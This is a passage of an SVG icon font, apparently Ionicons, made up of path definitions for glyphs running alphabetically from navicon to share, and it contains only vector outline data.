d="M353 224c17 0 31 -14 31 -32s-14 -32 -31 -32h-322c-17 0 -31 14 -31 32s14 32 31 32h322zM353 352c17 0 31 -14 31 -32s-14 -32 -31 -32h-322c-17 0 -31 14 -31 32s14 32 31 32h322zM353 96c17 0 31 -14 31 -32s-14 -32 -31 -32h-322c-17 0 -31 14 -31 32s14 32 31 32
h322z" />
    <glyph glyph-name="ion-navicon" unicode="&#xf20e;" horiz-adv-x="320" 
d="M0 175v32h320v-32h-320zM0 271v32h320v-32h-320zM0 79v32h320v-32h-320z" />
    <glyph glyph-name="ion-navigate" unicode="&#xf2a3;" 
d="M448 416l-192 -448v256h-256z" />
    <glyph glyph-name="ion-network" unicode="&#xf341;" horiz-adv-x="384" 
d="M384 352c0 -24 -13 -44 -32 -55v-93l-128 -64v-53c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v53l-128 64v93c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64c0 -24 -13 -44 -32 -55v-53l96 -48l96 48v53c-19 11 -32 31 -32 55
c0 35 29 64 64 64s64 -29 64 -64zM64 384c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM192 0c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM320 320c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-no-smoking" unicode="&#xf2c2;" 
d="M328 144v48h16v-48h-16zM80 144v48h90l48 -48h-138zM332 388c69 -38 116 -112 116 -196c0 -124 -100 -224 -224 -224c-24 0 -47 4 -68 11c-2 1 -3 1 -5 2c-12 4 -24 9 -35 15h-1c-69 38 -115 112 -115 196c0 124 100 224 224 224c24 0 47 -4 68 -11c2 -1 3 -1 5 -2
c12 -4 24 -9 35 -15v0zM224 22c37 0 72 12 100 32l-238 238c-20 -28 -32 -63 -32 -100c0 -65 36 -121 90 -150c6 -3 13 -7 19 -9c2 -1 3 -1 5 -2c9 -3 19 -5 29 -7c9 -2 18 -2 27 -2zM362 93c20 28 32 62 32 99c0 66 -37 123 -91 151c-6 3 -12 6 -18 8c-2 1 -3 1 -5 2
c-9 3 -19 5 -29 7c-9 2 -18 2 -27 2c-37 0 -71 -12 -99 -32zM320 150l-42 42h42v-42zM352 144v48h16v-48h-16zM328 235c16 -7 16 -27 16 -34v-1h-16v1c0 8 -1 17 -7 20c-4 2 -13 4 -39 4h-3c-13 0 -24 0 -33 13c-5 8 -5 19 -2 29c-4 1 -8 1 -12 3c-17 7 -26 20 -26 38
c0 33 27 44 39 44v-16c-1 0 -23 -2 -23 -28c0 -11 5 -19 16 -23c9 -4 18 -3 18 -3c3 0 6 -2 7 -5s2 -6 0 -8c-5 -7 -7 -18 -4 -22c4 -6 7 -6 20 -6h3c24 0 37 -2 46 -6zM368 200v0h-16c0 28 -4 41 -7 46c-6 10 -14 14 -25 14h-30c-3 0 -5 2 -6 4s-1 6 0 8c0 0 8 18 6 32
c-1 8 -6 17 -27 17v16c24 0 40 -11 43 -30c2 -11 0 -23 -3 -31h17c16 0 30 -8 39 -22c6 -10 9 -28 9 -54z" />
    <glyph glyph-name="ion-nuclear" unicode="&#xf2a4;" 
d="M176 176c0 32 16 48 48 48s48 -16 48 -48s-16 -48 -48 -48s-48 16 -48 48zM176 176c0 32 16 48 48 48s48 -16 48 -48s-16 -48 -48 -48s-48 16 -48 48zM448 176c0 -27 -5 -53 -15 -78s-23 -47 -40 -66s-36 -35 -59 -48l-79 136c22 12 33 31 33 56h160zM224 240
c-12 0 -23 -3 -33 -9l-80 138c35 20 73 31 113 31s78 -10 113 -30l-81 -139c-10 6 -21 9 -32 9zM160 176c0 -25 11 -44 33 -56l-79 -136c-35 20 -62 46 -83 80s-31 71 -31 112h160z" />
    <glyph glyph-name="ion-outlet" unicode="&#xf342;" 
d="M338 416c61 0 110 -51 110 -113v-222c0 -62 -49 -113 -110 -113h-228c-61 0 -110 51 -110 113v222c0 62 49 113 110 113h228zM143 197v102c0 11 -9 21 -20 21h-23c-11 0 -19 -9 -20 -20v-2v-101v-1c0 -11 9 -20 20 -20h23c11 0 20 9 20 20v1zM265 52v29
c0 23 -18 42 -41 42s-41 -19 -41 -42v-29v0c0 -11 9 -20 20 -20h21h21c11 0 20 7 20 18v2zM368 197v102c0 11 -9 21 -20 21h-24c-11 0 -19 -9 -20 -20v-2v-101v-1c0 -11 9 -20 20 -20h24c11 0 20 9 20 20v1z" />
    <glyph glyph-name="ion-paintbrush" unicode="&#xf4d5;" 
d="M118 165c52 0 102 -41 90 -102c-11 -52 -54 -71 -90 -77c-30 -5 -100 0 -118 35c24 9 34 26 34 49c0 49 32 95 84 95zM436 388c13 -13 17 -30 5 -45l-154 -175c2 -9 1 -17 -3 -23l-50 -58v0v0c-2 -2 -4 -2 -6 0c-1 1 -1 2 -1 3v1c2 53 -41 87 -89 90v0h-2s-2 0 -2 1
c-2 2 -2 4 0 6l59 49c6 4 14 4 23 2l175 154c15 12 32 8 45 -5zM134 188v0v0v0z" />
    <glyph glyph-name="ion-paintbucket" unicode="&#xf4d6;" horiz-adv-x="480" 
d="M112 384l32 32l275 -276l-58 -12l-163 -160l-198 192l152 152zM309 160l-110 110l-110 -110h220zM419 140c0 0 61 -66 61 -99s-27 -60 -61 -60s-60 27 -60 60s60 99 60 99z" />
    <glyph glyph-name="ion-paper-airplane" unicode="&#xf2c3;" 
d="M0 176l448 240l-112 -448l-112 112l-80 -112l-16 160zM319 31l80 323l-322 -173l83 -31l192 154l-128 -176z" />
    <glyph glyph-name="ion-paperclip" unicode="&#xf20f;" horiz-adv-x="160" 
d="M149 293c6 0 11 -5 11 -12v-195c0 -28 -10 -49 -24 -63c-15 -15 -36 -23 -56 -23c-40 0 -80 31 -80 88v234c0 24 11 44 29 54s39 11 57 0s29 -30 29 -54l-1 -225c0 -13 -3 -24 -9 -32s-16 -12 -25 -12c-17 0 -34 15 -34 44v173c0 6 6 12 12 12s11 -6 11 -12v-173
c0 -14 5 -21 11 -21c2 0 5 2 7 4c3 4 5 10 5 17v225c0 15 -6 28 -17 34s-24 6 -35 0s-17 -19 -17 -34v-234c0 -44 29 -64 57 -64s57 19 57 63v195c0 6 6 11 12 11z" />
    <glyph glyph-name="ion-pause" unicode="&#xf210;" horiz-adv-x="256" 
d="M96 12c0 -7 -5 -12 -12 -12h-72c-7 0 -12 5 -12 12v360c0 7 5 12 12 12h72c7 0 12 -5 12 -12v-360zM244 384c7 0 12 -5 12 -12v-360c0 -7 -5 -12 -12 -12h-72c-7 0 -12 5 -12 12v360c0 7 5 12 12 12h72z" />
    <glyph glyph-name="ion-person-add" unicode="&#xf211;" 
d="M397 120h-42v51h-51v42h51v51h42v-51h51v-42h-51v-51zM384 0h-192h-192s0 26 2 40c2 11 17 25 81 49c63 23 60 12 60 55c0 28 -14 11 -23 64c-4 21 -6 7 -14 40c-4 17 3 19 2 27s-2 16 -4 33c-2 21 18 76 88 76s90 -55 88 -76c-2 -17 -3 -25 -4 -33s6 -10 2 -27
c-8 -33 -10 -19 -14 -40c-9 -53 -23 -36 -23 -64c0 -43 -3 -32 60 -55c64 -24 79 -38 81 -49c2 -14 2 -40 2 -40z" />
    <glyph glyph-name="ion-person-stalker" unicode="&#xf212;" 
d="M393 123c42 -16 52 -26 53 -33c2 -9 2 -90 2 -90h-98c0 18 0 71 -1 77c-1 10 -1 29 -55 50c-8 3 -14 5 -19 7c18 8 15 15 15 28c0 19 -9 11 -15 47c-2 14 -4 5 -9 28c-3 12 1 12 1 18s-1 10 -2 22c-1 14 11 52 57 52s59 -38 58 -52c-1 -12 -2 -16 -2 -22
c-1 -6 4 -6 1 -18c-5 -23 -7 -14 -9 -28c-6 -36 -16 -28 -16 -47c0 -29 -2 -23 39 -39zM325 0h-163h-162s0 65 2 77c2 10 15 22 69 43c54 20 50 17 50 55c0 24 -12 8 -20 54c-3 18 -5 7 -11 36c-3 15 2 16 1 23s-2 14 -3 29c-2 19 15 67 74 67s77 -49 75 -67
c-1 -15 -2 -22 -3 -29s5 -8 2 -23c-6 -29 -9 -18 -12 -36c-8 -46 -20 -30 -20 -54c0 -32 -2 -36 31 -48c6 -2 11 -4 19 -7c54 -21 67 -33 69 -43c1 -6 2 -28 2 -47v-30z" />
    <glyph glyph-name="ion-person" unicode="&#xf213;" horiz-adv-x="384" 
d="M384 0h-192h-192s0 26 2 40c2 11 17 25 81 49c63 23 60 12 60 55c0 28 -14 11 -23 64c-4 21 -6 7 -14 40c-4 17 3 19 2 27s-2 16 -4 33c-2 21 18 76 88 76s90 -55 88 -76c-2 -17 -3 -25 -4 -33s6 -10 2 -27c-8 -33 -10 -19 -14 -40c-9 -53 -23 -36 -23 -64
c0 -43 -3 -32 60 -55c64 -24 79 -38 81 -49c2 -14 2 -40 2 -40z" />
    <glyph glyph-name="ion-pie-graph" unicode="&#xf2a5;" 
d="M1 192c0 5 -1 11 -1 16c0 115 93 208 208 208c5 0 11 -1 16 -1v-32v-191h-191h-32zM78 46c-26 32 -42 71 -45 114h223v223c43 -3 82 -19 114 -45c47 -38 78 -96 78 -162c0 -115 -93 -208 -208 -208c-66 0 -124 31 -162 78z" />
    <glyph glyph-name="ion-pin" unicode="&#xf2a6;" horiz-adv-x="224" 
d="M188 220c20 -10 36 -31 36 -55c0 -17 -3 -21 -15 -21h-81l-12 -176h-8l-12 176h-81c-12 0 -15 5 -15 21c0 24 16 45 36 55v0c1 0 3 1 4 2c7 4 12 11 14 19l18 118v5c0 7 -4 10 -10 13v0c-1 0 -1 1 -2 1c-7 3 -12 9 -12 17c0 20 6 21 18 21h92c12 0 18 -1 18 -21
c0 -8 -5 -14 -12 -17c-1 0 -1 -1 -2 -1v0c-6 -3 -10 -6 -10 -13v-5l18 -118c2 -8 7 -15 14 -19c1 -1 3 -2 4 -2v0z" />
    <glyph glyph-name="ion-pinpoint" unicode="&#xf2a7;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c32 32 51 75 55 120l-63 8v16l63 8c-4 45 -23 88 -55 120s-75 51 -120 55l-8 -63h-16l-8 63c-45 -4 -88 -23 -120 -55s-51 -75 -55 -120l63 -8v-16l-63 -8
c4 -45 23 -88 55 -120s75 -51 120 -55l8 63h16l8 -63c45 4 88 23 120 55z" />
    <glyph glyph-name="ion-pizza" unicode="&#xf2a8;" horiz-adv-x="352" 
d="M315 318c10 -4 12 -13 9 -20l-148 -330s-143 320 -148 331s2 16 9 19c39 18 90 28 139 28s96 -9 139 -28zM112 256c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM176 109c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM240 224
c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM342 382c6 -3 10 -6 10 -13c0 -1 0 -3 -1 -5l-8 -19c-3 -5 -8 -9 -14 -9c-1 0 -3 1 -6 2c-41 18 -95 30 -147 30s-102 -11 -147 -30c-3 -1 -4 -2 -6 -2c-6 0 -11 4 -14 9l-8 19s-1 2 -1 5c0 8 6 12 10 14
c49 21 107 33 166 33s118 -13 166 -34z" />
    <glyph glyph-name="ion-plane" unicode="&#xf214;" 
d="M250 136c0 -7 1 -69 -6 -102c-1 -4 3 -4 5 -7l51 -33c2 -2 3 -8 3 -8l1 -18l-68 16l-12 -32l-12 32l-68 -16l1 18s0 6 2 8l52 33c2 3 6 3 5 7c-7 33 -6 95 -6 102s-8 5 -8 5l-62 -13l-128 -49c0 23 2 26 9 31l183 131s5 63 5 113c0 24 12 78 27 78s27 -54 27 -78
c0 -53 5 -113 5 -113l183 -131c6 -4 9 -7 9 -31l-128 49l-62 13s-8 2 -8 -5z" />
    <glyph glyph-name="ion-planet" unicode="&#xf343;" horiz-adv-x="512" 
d="M96 182c39 -24 85 -48 134 -69c44 -19 87 -35 126 -46c-27 -22 -62 -35 -100 -35c-85 0 -155 66 -160 150zM107 251c1 4 3 8 5 11c10 21 26 40 44 55c27 22 62 35 100 35c85 0 155 -66 160 -150v-10c0 -21 -4 -41 -11 -59c-1 -4 -3 -8 -5 -11c-6 1 -13 3 -19 5
c-39 11 -82 26 -126 45c-56 24 -108 52 -148 79zM430 163c57 -35 87 -62 81 -82c-4 -12 -19 -17 -44 -17c-50 0 -136 23 -231 64c-141 61 -246 140 -235 175c4 12 20 20 44 17c22 -3 47 -9 73 -18c-8 -9 -8 -12 -14 -22c-23 5 -44 8 -59 8h-6c2 -2 5 -6 8 -9
c11 -11 27 -24 46 -37c41 -29 97 -59 156 -85c44 -19 89 -35 128 -46c36 -10 68 -15 90 -15h6c-2 2 -5 6 -8 9c-10 10 -24 22 -41 34c4 11 5 12 6 24z" />
    <glyph glyph-name="ion-play" unicode="&#xf215;" horiz-adv-x="320" 
d="M309 215c7 -6 11 -14 11 -23s-4 -17 -11 -23l-278 -166c-4 -2 -7 -3 -11 -3c-11 0 -20 9 -20 20v0v344v0c0 11 9 20 20 20c4 0 8 -1 11 -3z" />
    <glyph glyph-name="ion-playstation" unicode="&#xf30a;" horiz-adv-x="512" 
d="M400 245c0 -11 0 -22 -2 -33c-2 -10 -5 -20 -10 -28c-4 -7 -10 -13 -18 -17c-7 -4 -16 -6 -24 -6c-13 0 -31 4 -42 9v131v2c0 9 -7 17 -15 17h-1c-9 0 -16 -8 -16 -17v-3v-300l-80 26v358s28 -4 75 -18s67 -21 84 -31c8 -5 15 -11 21 -17c7 -7 13 -14 17 -23
c8 -16 10 -33 11 -50zM87 90c-4 -2 -8 -3 -11 -6c-1 -1 -3 -3 -2 -5s4 -4 6 -5c6 -2 13 -3 19 -3c7 0 15 0 22 2c5 1 9 3 14 5c30 10 41 12 41 12v-42c-14 -2 -36 -4 -50 -4c-30 -1 -60 4 -88 13c-9 3 -19 6 -27 12c-4 3 -8 8 -10 13c-2 4 -1 9 1 13s5 8 9 11
c9 6 18 10 28 14c8 4 17 7 26 10c35 12 111 37 111 37v-47s-62 -20 -89 -30zM512 102c0 -5 -2 -9 -5 -13c-6 -7 -14 -11 -22 -15s-17 -8 -26 -11c-54 -19 -171 -59 -171 -59v48s92 30 133 44c6 2 11 4 16 8c2 2 4 3 3 6c-1 2 -4 4 -6 5c-6 2 -13 3 -19 3
c-10 0 -20 -2 -30 -5c-29 -10 -97 -32 -97 -32v49s45 14 67 16c8 1 23 1 31 1c26 0 54 -3 79 -11c5 -2 8 -3 14 -5c9 -3 18 -8 25 -14c4 -4 8 -9 8 -15z" />
    <glyph glyph-name="ion-plus-circled" unicode="&#xf216;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM352 176v32h-112v112h-32v-112h-112v-32h112v-112h32v112h112z" />
    <glyph glyph-name="ion-plus-round" unicode="&#xf217;" horiz-adv-x="384" 
d="M353 224c17 0 31 -14 31 -32s-14 -32 -31 -32h-129v-129c0 -17 -14 -31 -32 -31s-32 14 -32 31v129h-129c-17 0 -31 14 -31 32s14 32 31 32h129v129c0 17 14 31 32 31s32 -14 32 -31v-129h129z" />
    <glyph glyph-name="ion-plus" unicode="&#xf218;" horiz-adv-x="384" 
d="M384 224v-64h-160v-160h-64v160h-160v64h160v160h64v-160h160z" />
    <glyph glyph-name="ion-podium" unicode="&#xf344;" 
d="M0 0v192h128v-192h-128zM160 0v288h128v-288h-128zM320 0v128h128v-128h-128z" />
    <glyph glyph-name="ion-pound" unicode="&#xf219;" 
d="M93 96h-93v54h101l13 84h-99v54h107l22 128h64l-22 -128h106l22 128h63l-22 -128h93v-54h-102l-12 -84h99v-54h-107l-22 -128h-63l22 128h-107l-22 -128h-63zM177 234l-12 -84h106l12 84h-106v0z" />
    <glyph glyph-name="ion-power" unicode="&#xf2a9;" 
d="M224 192c-18 0 -32 14 -32 32v160c0 18 14 32 32 32s32 -14 32 -32v-160c0 -18 -14 -32 -32 -32zM347 379c61 -40 101 -109 101 -187c0 -124 -100 -224 -224 -224s-224 100 -224 224c0 78 40 147 101 187v0c5 3 11 5 17 5c18 0 32 -14 32 -32c0 -6 -2 -12 -5 -17
c-2 -3 -4 -6 -7 -8c-1 -1 -3 -2 -4 -3c-8 -6 -16 -12 -23 -19c-30 -30 -47 -70 -47 -113s17 -83 47 -113s70 -47 113 -47s83 17 113 47s47 70 47 113s-17 83 -47 113c-7 7 -15 13 -23 19c-1 1 -3 2 -4 3c-3 2 -5 5 -7 8c-3 5 -5 11 -5 17c0 18 14 32 32 32c6 0 12 -2 17 -5
v0z" />
    <glyph glyph-name="ion-pricetag" unicode="&#xf2aa;" 
d="M439 187c12 -12 12 -31 0 -43l-165 -167c-11 -11 -30 -11 -42 -1l-3 3l-206 209l-6 5c-6 7 -9 15 -10 24v0v2v0l-7 98v4v0c0 12 4 24 13 33l49 49c8 9 20 13 31 13h4l100 -4v0c12 0 22 -4 30 -12v0l2 -2v0l210 -211v0v0zM112 256c26 0 48 22 48 48s-22 48 -48 48
s-48 -22 -48 -48s22 -48 48 -48z" />
    <glyph glyph-name="ion-pricetags" unicode="&#xf2ab;" 
d="M440 209c10 -11 11 -28 0 -39l-29 -29c11 11 10 28 0 39v0v0l-190 191v0l-1 1h-1c-8 7 -16 12 -27 12v0l-90 3h-4c-9 0 -19 -3 -26 -10l28 27c8 8 17 12 27 12h4l90 -4v0c11 0 19 -4 27 -11h1l1 -1v0l190 -191v0v0zM396 166v0c11 -11 11 -29 0 -40l-108 -109v1l-26 -27
l-2 -2l-13 -13c-10 -10 -26 -10 -37 -1l-3 3l-186 188l-5 5c-5 6 -9 14 -10 22v0v2v0l-6 88v3v1c0 11 4 21 12 29l44 45l1 1l1 1c7 6 17 9 26 9h4l90 -3v0c11 0 19 -4 27 -11v0l2 -1v0l189 -191v0zM79 308c-12 -8 -21 -21 -21 -37c0 -24 19 -43 43 -43c16 0 29 9 37 21
c4 7 7 14 7 22c0 24 -20 44 -44 44c-8 0 -15 -3 -22 -7z" />
    <glyph glyph-name="ion-printer" unicode="&#xf21a;" 
d="M392 320c28 0 56 -19 56 -55v-131c0 -31 -28 -54 -56 -54h-40v-112h-8h-8h-224h-11h-5v112h-40c-28 0 -56 24 -56 62v123c0 38 28 55 56 55h40v64h256v-64h40zM336 -16v176h-224v-176h224zM336 320v48h-224v-48h224zM384 256v16h-17v-16h17zM128 112v16h192v-16h-192z
M128 64v16h192v-16h-192zM128 16v16h192v-16h-192z" />
    <glyph glyph-name="ion-pull-request" unicode="&#xf345;" horiz-adv-x="384" 
d="M64 384c35 0 64 -29 64 -64c0 -24 -13 -44 -32 -55v-178c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v178c-19 11 -32 31 -32 55c0 35 29 64 64 64zM64 0c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM64 288
c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM351 88c20 -11 33 -32 33 -56c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 23 12 44 31 55v156c0 16 -4 26 -11 33c-10 9 -26 12 -52 12v-64l-96 96l96 96v-64c42 1 74 -8 96 -29c21 -19 31 -46 31 -80v-155z
M320 0c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-qr-scanner" unicode="&#xf346;" horiz-adv-x="416" 
d="M48 324v-68h-48v68c0 33 28 60 61 60h67v-48h-68c-7 0 -12 -5 -12 -12zM356 384c33 0 60 -27 60 -60v-68h-48v68c0 7 -6 12 -13 12h-67v48h68zM368 61v67h48v-67c0 -33 -27 -61 -60 -61h-68v49h68c7 0 12 5 12 12zM60 49h68v-49h-67c-33 0 -61 28 -61 61v67h48v-67
c0 -7 5 -12 12 -12z" />
    <glyph glyph-name="ion-quote" unicode="&#xf347;" horiz-adv-x="384" 
d="M128 384c-41 0 -73 -11 -95 -33s-33 -54 -33 -95v-256h160v256h-96c0 23 5 39 15 49s26 15 49 15zM352 384c-41 0 -73 -11 -95 -33s-33 -54 -33 -95v-256h160v256h-96c0 23 5 39 15 49s26 15 49 15z" />
    <glyph glyph-name="ion-radio-waves" unicode="&#xf2ac;" 
d="M160 192c0 43 21 64 64 64s64 -21 64 -64s-21 -64 -64 -64s-64 21 -64 64zM112 192c0 -18 5 -35 13 -50s19 -28 33 -37l-23 -25c-6 5 -13 10 -18 16c-25 26 -37 59 -37 96s12 70 37 96c5 6 12 11 18 16l23 -25c-14 -9 -25 -22 -33 -37s-13 -32 -13 -50zM336 192
c0 18 -5 35 -13 50s-19 28 -33 37l23 25c6 -5 13 -10 18 -16c25 -26 37 -59 37 -96s-12 -70 -37 -96c-5 -6 -12 -11 -18 -16l-23 25c14 9 25 22 33 37s13 32 13 50zM32 192c0 -27 6 -53 17 -77s27 -43 47 -59l-23 -24c-6 5 -12 10 -17 16c-18 19 -31 41 -41 65
c-10 25 -15 51 -15 79s5 54 15 79c10 24 23 46 41 65c5 6 11 11 17 16l23 -24c-10 -8 -18 -17 -26 -27s-14 -21 -20 -32s-10 -24 -13 -37s-5 -26 -5 -40zM416 192c0 27 -6 53 -17 77s-27 43 -47 59l23 24c6 -5 12 -10 17 -16c18 -19 31 -41 41 -65c10 -25 15 -51 15 -79
s-5 -54 -15 -79c-10 -24 -23 -46 -41 -65c-4 -5 -10 -10 -17 -16l-23 24c20 16 36 35 47 59s17 50 17 77z" />
    <glyph glyph-name="ion-record" unicode="&#xf21b;" horiz-adv-x="416" 
d="M208 -16c-115 0 -208 93 -208 208s93 208 208 208s208 -93 208 -208s-93 -208 -208 -208z" />
    <glyph glyph-name="ion-refresh" unicode="&#xf21c;" 
d="M352 96l-104 112h74c-7 65 -64 112 -130 112c-71 0 -128 -57 -128 -128s57 -128 128 -128c28 0 53 8 75 24l6 5l43 -46l-7 -6c-34 -26 -74 -41 -117 -41c-91 0 -167 64 -187 149v0c0 1 -1 2 -1 3v1v2s-1 2 -1 3v1c0 1 -1 3 -1 4v0c-1 6 -2 13 -2 19v1v4v5v5v4v1
c0 6 1 13 2 19v0c0 1 1 3 1 4v1c0 1 1 1 1 2v3v1c0 1 1 2 1 3v0c20 85 96 149 187 149v0v0c11 0 21 -1 31 -3h2h2c57 -10 106 -47 133 -96c13 -23 21 -49 23 -77h65z" />
    <glyph glyph-name="ion-reply-all" unicode="&#xf21d;" horiz-adv-x="416" 
d="M257 256c153 0 159 -208 159 -208c-51 93 -91 102 -159 102v-92l-152 134l152 144v-80zM0 192l144 136v-57l-82 -79l82 -68v-58z" />
    <glyph glyph-name="ion-reply" unicode="&#xf21e;" horiz-adv-x="384" 
d="M384 48c-53 93 -122 102 -224 102v-92l-160 134l160 144v-80c187 0 224 -208 224 -208z" />
    <glyph glyph-name="ion-ribbon-a" unicode="&#xf348;" horiz-adv-x="352" 
d="M272 416l80 -96l-64 -134c-24 30 -59 49 -99 53zM80 416l83 -177c-40 -4 -75 -23 -99 -53l-64 134zM189 416h67l-53 -112h-27h-27l-53 112h80h13zM176 224c71 0 128 -57 128 -128s-57 -128 -128 -128s-128 57 -128 128s57 128 128 128zM176 0c53 0 96 43 96 96
s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96zM176 184c49 0 88 -39 88 -88s-39 -88 -88 -88s-88 39 -88 88s39 88 88 88z" />
    <glyph glyph-name="ion-ribbon-b" unicode="&#xf349;" horiz-adv-x="384" 
d="M192 376c49 0 88 -39 88 -88s-39 -88 -88 -88s-88 39 -88 88s39 88 88 88zM192 416c71 0 128 -57 128 -128s-57 -128 -128 -128s-128 57 -128 128s57 128 128 128zM192 192c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96zM83 194c26 -30 65 -50 109 -50
c12 0 23 1 34 4l-34 -74l-48 -106l-48 80h-96zM301 194l83 -146h-96l-48 -80l-40 88l45 98c22 9 41 23 56 40z" />
    <glyph glyph-name="ion-sad-outline" unicode="&#xf4d7;" 
d="M367 164c3 -9 -2 -17 -11 -19c-3 -1 -7 0 -10 1c-5 2 -9 5 -11 10s-4 12 -13 15s-14 0 -19 -3c-4 -3 -10 -3 -15 -1c-3 1 -7 3 -9 6c-6 8 -3 17 5 22c15 9 29 13 49 6s29 -21 34 -37zM165 195c8 -5 10 -14 4 -22c-2 -3 -6 -5 -9 -6c-5 -2 -11 -2 -15 1c-5 3 -10 6 -19 3
s-11 -10 -13 -15s-6 -8 -11 -10c-3 -1 -7 -2 -10 -1c-9 2 -14 10 -11 19c5 16 14 30 34 37s35 3 50 -6zM224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56
s-100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136s85 -56 136 -56s100 20 136 56zM317 89c5 -7 3 -17 -4 -22c-3 -2 -6 -3 -9 -3c-5 0 -10 3 -13 7c0 0 -19 25 -67 25s-67 -25 -67 -25c-3 -4 -8 -7 -13 -7c-3 0 -6 1 -9 3c-7 5 -9 15 -4 22c1 2 28 39 93 39
s92 -37 93 -39z" />
    <glyph glyph-name="ion-sad" unicode="&#xf34a;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM113 156c2 5 4 12 13 15s14 0 19 -3c4 -3 10 -3 15 -1c3 1 7 3 9 6c6 8 4 17 -4 22c-15 9 -30 13 -50 6s-29 -21 -34 -37c-3 -9 2 -17 11 -19c3 -1 7 0 10 1c5 2 9 5 11 10z
M313 67c7 5 9 15 4 22c-1 2 -28 39 -93 39s-92 -37 -93 -39c-5 -7 -3 -17 4 -22c3 -2 6 -3 9 -3c5 0 10 3 13 7c0 0 19 25 67 25s67 -25 67 -25c3 -4 8 -7 13 -7c3 0 6 1 9 3zM356 145c9 2 14 10 11 19c-5 16 -14 30 -34 37s-34 3 -49 -6c-8 -5 -11 -14 -5 -22
c2 -3 6 -5 9 -6c5 -2 11 -2 15 1c5 3 10 6 19 3s11 -10 13 -15s6 -8 11 -10c3 -1 7 -2 10 -1z" />
    <glyph glyph-name="ion-scissors" unicode="&#xf34b;" horiz-adv-x="384" 
d="M341 332c-13 -33 -117 -172 -117 -172l-32 -32s-31 -13 -50 -43s-33 -71 -33 -71v0c-7 -26 -28 -46 -53 -46c-31 0 -56 29 -56 64s25 64 56 64c13 0 25 -5 34 -13c2 -1 3 -3 4 -4v0l2 -2c4 -4 7 -2 14 11c8 15 17 35 27 54s38 59 38 59l17 23l144 192
c23 -20 18 -51 5 -84zM56 0c15 0 28 14 28 32s-13 32 -28 32s-28 -14 -28 -32s13 -32 28 -32zM192 160c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM143 183c-30 41 -90 125 -100 149c-13 33 -18 64 5 84l134 -178l-3 -4v0v0l-17 -23v-1v0
c-1 -1 -10 -13 -19 -27zM328 96c31 0 56 -29 56 -64s-25 -64 -56 -64c-25 0 -47 20 -54 46v0s-13 41 -32 71c-11 17 -26 28 -36 35l29 29l1 1h1c1 1 1 2 2 4c3 -4 5 -9 7 -12c10 -19 20 -39 28 -54c7 -13 10 -15 14 -11c1 1 0 1 1 2h1c1 1 2 3 4 4c9 8 21 13 34 13zM328 0
c15 0 28 14 28 32s-13 32 -28 32s-28 -14 -28 -32s13 -32 28 -32z" />
    <glyph glyph-name="ion-search" unicode="&#xf21f;" horiz-adv-x="384" 
d="M381 61c4 -4 4 -10 0 -14l-43 -44c-2 -2 -5 -3 -8 -3s-5 1 -7 3l-84 86c-25 -15 -52 -23 -80 -23c-87 0 -159 71 -159 159s72 159 159 159s158 -71 158 -159c0 -27 -7 -54 -21 -78zM159 322c-53 0 -97 -43 -97 -97s44 -97 97 -97s96 43 96 97s-43 97 -96 97z" />
    <glyph glyph-name="ion-settings" unicode="&#xf2ad;" horiz-adv-x="416" 
d="M402 310c10 -6 15 -25 14 -36c-1 -17 -7 -36 -25 -54c-1 -1 -2 -1 -3 -2c-26 -25 -62 -30 -94 -20c-1 1 -2 2 -4 2c-5 1 -10 0 -13 -4l-36 -39c52 -50 107 -96 107 -96c2 -2 2 -5 0 -7l-50 -51c-2 -2 -5 -2 -7 0c0 0 -44 55 -93 107l-92 -98c-14 -16 -40 -15 -55 0
c-15 16 -15 42 1 56l97 93l-12 12c-2 2 -3 7 -1 10l2 5c-25 26 -36 33 -56 32s-36 -13 -48 -28s-10 -52 -8 -62s-7 -6 -12 0c-9 10 -23 50 -6 93s42 69 48 75s16 15 24 21s21 -1 27 5c4 4 5 11 5 16l-4 4c-2 2 -2 5 0 7l31 31c2 2 5 2 7 0l50 -50c2 -2 2 -6 0 -8l-31 -31
c-2 -2 -5 -2 -7 0l-8 9c-7 0 -15 -5 -17 -10c-3 -6 -6 -21 -3 -33c3 -11 13 -20 36 -43l5 3c4 2 8 1 10 -1c0 0 1 -2 13 -14l38 37c4 3 5 7 4 13c0 2 0 4 -1 5c-10 33 -6 69 19 96l2 2c18 18 36 25 53 26c10 1 30 -5 35 -15l-48 -48l-2 -3l-1 -1c-1 -1 -1 -2 -1 -4
s0 -3 1 -5l2 -2l2 -2l41 -42l3 -3l1 -1c1 -1 2 -1 4 -1s3 0 4 1l2 1l2 3z" />
    <glyph glyph-name="ion-share" unicode="&#xf220;" horiz-adv-x="384" 
